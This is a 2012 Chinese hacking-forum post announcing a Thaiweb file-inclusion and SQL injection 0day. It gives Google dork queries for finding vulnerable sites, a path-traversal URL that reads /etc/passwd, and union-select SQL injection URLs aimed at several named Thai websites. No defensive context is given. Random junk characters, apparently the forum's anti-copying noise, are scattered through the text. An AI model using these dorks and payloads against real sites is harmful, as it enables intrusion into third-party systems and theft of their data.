找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2357|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:9 e; X9 ~4 F3 i5 ?0 o
+ }; W6 O/ p" b8 x" z+ s4 h9 d
intext:powered by Thaiweb; H5 y: H) ^% l& ?

  \' H+ Z4 m4 ^; N! G7 ]6 j' sinurl:index.php?page=board.php
% k5 H. K; `$ w5 Q2 B8 U& o# o+ a- M/ g( h4 I

" R4 U' h# |& z
4 z& V3 V1 J5 J利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd3 T7 ]5 [% \7 C* s1 t& H2 b

9 Y6 n& N7 K; ?) ^
; B+ j( b/ [' [' R( Q  e9 Y3 m: x& l# }5 ]* g# ^% |, e5 x, @
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'8 n: j. ?0 [3 ?$ L$ o
7 q2 k" {3 z6 M
6 i) J1 B8 i- R3 p
. c8 e# V* i) v! ?
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
% b# z. Y; a. p0 Z/ n. D
+ {6 W& u* ?$ u, S/ d8 `5 yhttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--1 `2 z8 b9 F; c7 G! E8 X
" a8 H5 m8 d0 [( l
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
. \  }  a% [; s4 M1 K2 m$ {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表